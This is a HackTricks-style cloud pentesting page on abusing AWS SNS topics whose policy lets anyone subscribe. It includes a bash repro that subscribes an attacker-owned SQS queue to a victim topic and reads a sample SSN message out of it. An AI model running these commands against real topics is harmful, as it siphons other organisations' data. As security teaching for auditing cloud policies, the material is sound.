AWS - SNS Unauthenticated Enum

Reading time: 3 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

For more information about SNS check:

AWS - SNS Enum

Open to All

When you configure a SNS topic from the web console it's possible to indicate that Everyone can publish and subscribe to the topic:

So if you find the ARN of topics inside the account (or brute forcing potential names for topics) you can check if you can publish or subscribe to them.

That would be equivalent to a SNS topic resource policy allowing sns:Subscribe to * (or to external accounts), any principal can create a subscription that delivers all future topic messages to an SQS queue they own. When the queue owner initiates the subscription, no human confirmation is required for SQS endpoints.

Repro (us-east-1)
bash
REGION=us-east-1
# Victim account (topic owner)
VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

# Open the topic to anyone subscribing
cat > /tmp/topic-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
JSON
aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json

# Attacker account (queue owner)
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Allow the victim topic to send to the attacker queue
cat > /tmp/sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
JSON
aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"

# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)

# Validation: publish and receive
aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks